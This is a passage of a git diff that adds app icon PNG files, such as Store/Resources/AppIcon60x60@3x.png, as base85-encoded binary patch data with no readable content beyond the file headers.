z5DUM)pJj3201inINKiME5DhXowCkufjWK+3`-_iJk3dz6I7d57?+I?>7ZbJLA@kpm zN2_yA^DUw(CSAX%UvS+})EQ*pJ#p;LmVgl+;V<6Wdip4mf$!X(X!8o4wQA4Fr%vJN zC!J&ZOUNzk@lVzrDn|F1Lj-;EtWyOCzc`f!SlSU2Ird4f2U82T0#q^@>v&g#ky3qv z?VHwiG?MQ3%KS{QZ{*2ArBnHLZEE&4R?DY$d`drP`DANPhE{%&c~7QjvjlO|ABGmG z5grq-E#Sg08;48U?Qe~0zj(nXwIYWK`M-<6^?-CM^J9%iVPYU3N!Rhip`c@Vt=!%a z5`Fo7E`9lIx2+HN7vxvgreq;OY$TlETcr{l7{UHtc9i__XLq$cvwg-K54zZsvuXm) zUH*Lv4W;aE+E;}!RM}bT@{Ff`nJm)B?_isfi7S9&Ep_&#Ck5sUrH(mqZTGsaJmVvk zcs?qO^pE^5xzM~^)Bf2mt!{(vQtRGUpVGNA*%E|@FEDfcQw5ii#HuDx>rFd_407Sl z!7GMJAcf87{AS9IZVpQ{uc#~9o6C_&_@T8EJP0WMT;z12F&i-m(1{(U`W3(93g_O^bE4Uut{xC zF89eDHquP`X8Kb|6ELNpjW9WPFgV0p_F&g5v;9(hYHHIeysI0yz-7dfRuGl&n>z-H z(tuS0{f&G!5P{=*1gkIVm{V>2d z;9AaGQGseI!ASI2%E?8PLkcon?UC-v86g56eivSN`hH%k@MhZhE8|8FF+CG zf)4y#K@5N86QjCASS4n_m(UN6XOC`5_CtVFdegoyH2;~DCewku5P!jWu;_0$lqTfP zH@FWxFk&$S}>IjQv%o4Q6o^AzsRYJFTqpWh^v}v`82x1MJ}t8CMPx^?BP3S z2AUQcf@gVFedRT{6bV9>U>8{0=^L}_c`w10Q_{Z&-bhW*mah6HgKSVP1s$9~Ar@Gm z4tbivuNKR`sAL5(b6ZBz4RB0jfhJ#v7Jm50^kOr0<3v5Z4W(cZrANt=AY4H|?g^80 z1IuXP*|~tiEqrND=5Vk&VZ8+Lh;@{uTz38;1!y?f)>YE~Yv3d35_R!wQDT&@s4Tnh z=jeVtmn7eWVwGL7=EI5KpK`{JVtMw{hJccME_XIe3m>*hUC*SAW9HkYj=vVPxA5Gr zE)CEAbo{<5182vIJsFE-<}ax|g<)^RB+)eq;>gk;L=vA6{y##})}O+v zF$rR@=uR|=4Dlf}w8ZSMXra=zg%2Pv@D^HKVx&8Fx1aZDh$}R^gFtZ~QaRAv}hro!tAd zN6eA&H*rlx{=V1v-zGNZaMx@Nej7{|ESCUPeYR~=sjFHI>FA9IGK_CUHeNiN^6~i< zf4R)A*|gQ$3jHkc!$;xOZubqpM^GKu+gEFI&ps?UGtuPupagMJg78

E&=ApN>+m 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 literal 0 HcmV?d00001 diff --git a/Store/Resources/AppIcon60x60@3x.png b/Store/Resources/AppIcon60x60@3x.png new file mode 100644 index 0000000000000000000000000000000000000000..743db4fab0b86a8ed5db479e805e3e0c1f00bbe9 GIT binary patch literal 29452 zcmeFYdpMNu_b)yYLYgFmm`afxrgAE2=3U+;iKz$?Q%O!CNv4c>Du>CrQj{{2BqXLB zOPYyss8n(eF{dKu=PAaMIoMD2et-6L{r29!YwzFw{rMf2>*8^{pZi|xUhB2iYpr|! z(>xcobnkA5-6$Cu6iNp9Le2N1?2zC7?>@gK`M;Y1`S1BxDAh%%3RH!xj4En@s*J3v z%zOh1gRE2T&)legJ~9hr7s|;iEK*cbMg~+aMJxW zH|>yDJ8(>4P5AQ7m#*b5(%<>CPW@mTxYqpmnahew8k#G#wAUFJt~c6XVQFQ(Wvh+d z-@A6(?{V1c;(Ex<-Q%#Q?+L$?{sDnO5oaUMMUl>5h>eR+pk7H#x}I_4W@gr{+u8T? z9^^kPC@gwZR$ftARsHOFO+CAzv8nm>o44&9on75MpL+Xve8HEmL&M)jMxpONre}n+ z@Xxtl`;tM){zqhgHunG67a|0i1q&C-E>!rnFPQ~V$hWNOLb=tO^~d(@B8XQEtZu*lqai- z!lUNg-{a;{vu*PzrFqnaQzHCxIutc7o=2hK)kAbZ^lcs$uMtE4%9w|k^Qg;ufwS`{W;%Sp zzgO~ZJDtv(M=iANn3_k$V8HvW<)T~BcsyIW=zIZ3I)~@&qWjNo6jA`HcC)LrBZ{d)@jYkB`G>FuMN_s`6u#@wUU zzMvS3TkZappnvt)JgPhIx;IN*dhB0){26=TjTt9t9<}iw72lqin@7zQe#r`J1aAGK zlXpT1FxPp;v6|0%_m6^yqA4s%(AIVR5OGNFABAjZ5v7$YuTQ{?ALxHpNaHZ(QJ!fI z=fv(mssEms*07#=REhoXC9?l(h5zp|RJ``D3yu73CyE@u-k8__dc8k}va_X3boC#v z_s2Tpv;1aP{p0oiSe&w1%jAxKr~1c|G`zDu$Nq80|5)73bHp=uIHV5)`iluduJZ-;q7dKu}nPUa^Q5B zntD}L7vKa|fAk;O)p#}jly&^!GzV&SvQX@G`wMw9Kfl|A7vx;D#mPr zsZ!-+(T2bd9bgFwBLI@WnwA-@`baj+?SJ=$w=;&-IBWgP_tpCZsr{R~JwxZyJKWhO zHsP;Md?wy2|dmiFnn>D?8=K zsdU_ip_>Y15YDpX`0MId^kLtC1?*^>#QHlrv zQnTT$uX$@JwQ7yz9H79=$(b-(E0fLlEurb#)E&Ju5lK);tEQDrln#G84~*0JbBVS+ zO%#oKd_|d5$+@ zM|BJO&M&M=23KE&(*C}v`Z2AN-!pgi_}V@;DR`0Tsj+aPx#PpDyswYGUz_m&dd=e< zZ2i-o-QJE}iJ{&i8P8NaUFo&mCKz+A06pQ2yu|f+$P+}%TJxx&MI70UK4e??XK>{8 z(+a(l%;laR6t^#BzhL-$#*Q@K;S7MHg<1X$H~U51j+oa|>Em~JqUb^E;SvrBG;>j( zwG|R$CORU{<8VOTvElTIrO3p~kj0m)e=fJK$M>yoa9wi5nWE9CvwABV+tROT$S3_!Rkg`V8?B`MMhjYeQ;6ZvHQFtDr#!kN!r&dftEA&mUAxlQk?6J^Car*jSX>z#TTS%Tl#fKeZ0?_+!%0q1@dS;i}1zMlOsk z8`N=j>3BakLoDxIs5P6RRy-_richbqKXKP3yRUkD_Bm@A-w&r?3uRA(m-CBK!^Yu;)?BMsQe=dSyaRn9NsM0(y_kehf9* zP(0xfGFfucy^7T_$*=CT7<=}mf>l}dJZ(>wsCsql=1{}8PtFhSxXp_=!ocius~4P( zRQI$z+VA9Tx!$$FazkWcXUc}QVy*U)MXqu8SZ~cX@XYkNDf1|EUZ~k?NW8satJP{= zgl(P$yB3F4c6)m|)cU4Pr*TJkNn9gu)UDokS03Fyu`B8~47KhD(?KGwk2+ zcxWEA1qsi#>i0vyzj1WLpb11zs8!^>3~s_%^i(jEN$%{b&7+>fS1emzKei|_Yg#E! zn;hM*9<^=lM!OZ)hbD*il!UCNjRxcb=3C#F(J(EWo_~l;W&1t%A?_sIJ!!4!X|Zv7 zJ^Q@#gD>|>`{LFxj6NJFkTZI_iPE%#eSTQo|8Uq6u=`MYYs9!feX)l74L{OhJ_L^+ za(vdFyECW%YtqfVl_z=j=-uj@RwPvvx)izLZw#)GJe)^`(qSX}##BdPG!hFE$jXrB zm6GY9B)o<=2GYCfUohgM*8Bu1~t;h!`ei`z!O`~>Bu$E@W%(E?>JkGvDxBuUAKfCSyp+LcK8oqM1E>(_<^wN zOdaErOK$@|Y<~E3Yo);>jDy%5SvN}hj-_hrCn(1EzmO^&7CBPdIXcpnq@>|`jFxz- zNJZMhsvu0P;{kC}>k8GXYVLM_!Pn|~LNab;R-?9VzoTCX?9)@Pr`u&~87b=#WMg?3 zx|Ibpw((6wiQyUVw#06ESN{0a=jTti(yUceAKl3Le9UCmUfNsbUD{`F7}c%KTYlYs zF1Ef_vwo%W&Gt82%oEO-X}k?6T<`Z&-u?31Cxc&HT_4#g>`t#L?D{;~9l4=1<3_<& zhpL!HFi*M&u}=9}MD~Lj{Bn^erIV%ug(j4*)ef7Wf_U~5(&~rL{!VFqM8-)9=26Ec zFm>)fJOwci`f}pyd*3#B)YlZJYfn9&E?V2~U@#kK%yO9-ew8SaAzLTtgvE0}&#BAw zMW=44h7^c#puc#T8m~4JdX(ug!K;#7KUGjk>NN6xQhYf!sEB`w77svJA-2W{n>df+ zzQ9)~G%k3hbrx7aX``3>Tni^T6K)1Rl(x*H%A4bB57g{BTC9;1CCs>Z{OIS8@)TAs zr5?ZB)Z)eVZNf-IGkMYh(C?;Mtvh~Vf={5%?t7=asFKiEz-QE@U#h-Z^><32U5jtk z5ims#6{V*qxjBzI@zSQtzXQ+ZyeM3ARLc+2yofC1PBm@KP5BiLtGj_9Q}=`B8P}JE z{Pn(8_uYzY)EDGMOQeXUE@4cXS<+!cymnFi&^|axMZR8gMJ2+3~L;7m~|9ZAL1~kJu;cP!0l(6W03@-&gh| zlb3bdWHPv%RN`Vv_d{c15>Z}E5D?}0!FwX3C)8Z;j)bG4(B*1fCJLV=uJbbWw`V5ux@@=dos1qvr>ZsT=`lNOcibPi7MVY4 z)uGZLD;D5Sh4m`)qr^IOqJTgjjI-11rzqA1Fc;AilEnh3Hjg;uS>aJ6PQN% z_7x$k;A^1t1HV0Hr?9E-Lo1)d_LKIPm8CaaSdy0y`_5s%L4r{8`qFg;m)?zamDC*` zT9dPKSlP(=bc=Ckcs^l!y~~jg>KoteIJtaeSM5o86`RO#k5f8Sh}ePsR+$M)>eM6d z#wsMRNyYUZ8)jgyjeD2-(YPZ;{7ox$v)$WV>jht1O|mPaP8Dp)v3XKNkV}47)FZ)G zcCLC^RrRv$dG*V(+Um=bAA}zQCQY%XX1R{ZUN0Q4RNIFKM~1D9(&%VrzCikq+eAg8 zvQL$c`tB-CwS*FPbRzq>(cUzDl`FXiU4wbh@`Av2#?A`E-IYf98zPTwaWL9-AK1$J zfUmFmgC@7L{v`N!Il~y9{n}^>R?PmBkADdJkq+iv-_FuRlE^>&&am~*X86DxJx=nk z6!H(*@;@MxqTM^pAigB>3=lPsS~rin7#WQ`jfa9UMDgnJ0V6f z4%FG(dWqH@Cbf9Nks>w9Yj?M~<_TFoV~K^oTTkVk5a$rZiUBRN<8)_wvkw-MqrKz- zGOds6&gYTr>ZL0o|J3(s1x5M++0{Swr;DLzOM#j7I~XgMSVZOdEPc1(>paRO-&*N> z+WFYfG~e{5-KI_Db^MqrSs6{Ejy&hoBTkk|&)z0sre&rT=4`(B=#YG`lX9}T>-prr zAdF$|U0ceUyM|t?c}E)U)iO?;Kb8LuA-8<$V!SLr6uSr`!*4y_WwOrQ*2%bxGcCnVPU**(_~ z5*EEWf!fnYKD-H~GKD4+B{e4ENFK15>@SJKX$KFk=$!F3ck00zQa*4h-Q%SCo+P)v zxo=+9i8HM-;&ZUK$ObMJq4ynFHPT<1lbuohSZ^ zrDN*~FH&Ns>_~=aDcP(2Xf|OXlD+J~hq9K8`bPA%Fh+@GvyHl@ervA@UmEhQ$Jr$> z-=VlGj&?r2%TV5I{SJjQkRZA6aYkRu;dDm`XrxmS@Jkmjr-UsmVuHhIwfeb1m?xUz z0}WSR8jWfcf^0sa{DSb5W_$nB9KIjdJ;tQ;Z6D<&Sc zGbj-`4UpzhLWbnJREg9fvi6bOx3%MKCvdC9>dI0@b12w8LEf5EF`K~DI}C?4Wrr~0 zO;l1R^F_|$6&+%8z7AH=w~@Y-tPgo{g$1Q#uT_{r;u3rSCW&62I(u2HBic(UMW_A3 z>;}aO9pWWUb!+^ovj+-%cJMh*=TY^lJYrw*9`J+_52F}NTPyw8F=4ANvWJ)TIK!II z?#a2PmIhDjdbIi|O}9fFD$@tl5rCtuD4@;(INq8X+&5_6g5AiJ?AQ+k$# z#%&^n8sFhian@C5Qzvt&PTd?4w&8Sdg|&8dY$RQc6qCQlGVr_n@Xw!!MzBm1_!G&H zj~~x~Xzik%aIa`J-0TJiGGM^tjAb--$%yA*{yqB#-tx!&o`Z%-7A3xQ9k*JVj!4mUi9hzt2!%*`1Sb3) zrm3jX3z%Oefz*}1N17l5wQS~5i4|ds0xq;Bi5-gU^5JN%RQ-IhH-NCEH`4ymxGaApF)N#;nIFGmVt7 z9)^pPQG33kb4bXFsta1qj<>@#0<%s_9b=2qKA68dr-tN>u12E0pK6=U83eh@?2gM$ zZx3x!FDh+Ix5&xU=;_9QCuid=TbGh`5nxG>cGje&TIJ+ZJ_3~|vkC&L-8ZiI`f?r> zhuHxsBv+ESH*e_Nak7~e$h}O=G$3h6w|$a5|8ZZjR3;pE8m1g!>aYd=KDLQ>6!ziXs>FpwCGXe+PRZCe23{5&nk2zyBFQh zc6fZM(!ac>Hff9Bc~kziWm~l_V;0Z()+13Yp;y4Bm*L0Tz*w$XMpPIDiBE0S9(us6 z#&)gDsb-F9rMgW|BR0uLpUFH|!-Cu!F<1Js63H?A60ZZ%hJE2NSS1^QbYAYGOk zUqrtwlx>xokd|@y>Ge~I7?sdT+?!xX`IXORaQpj@gDRD*MWp+q zcn#R9#T!g07GP!JPT9%U-YlUjSUt|jCygOQB-_bdn> zBvbnWYP}>~5#-DtYUWDIOOGJ#d>1c0A` z(BxY_O+bZkJIMr|7g0fc7@UrHquzRj?01jU7k1lpYAvI?b{S+)9Zy+(LhLMg{QdcJ 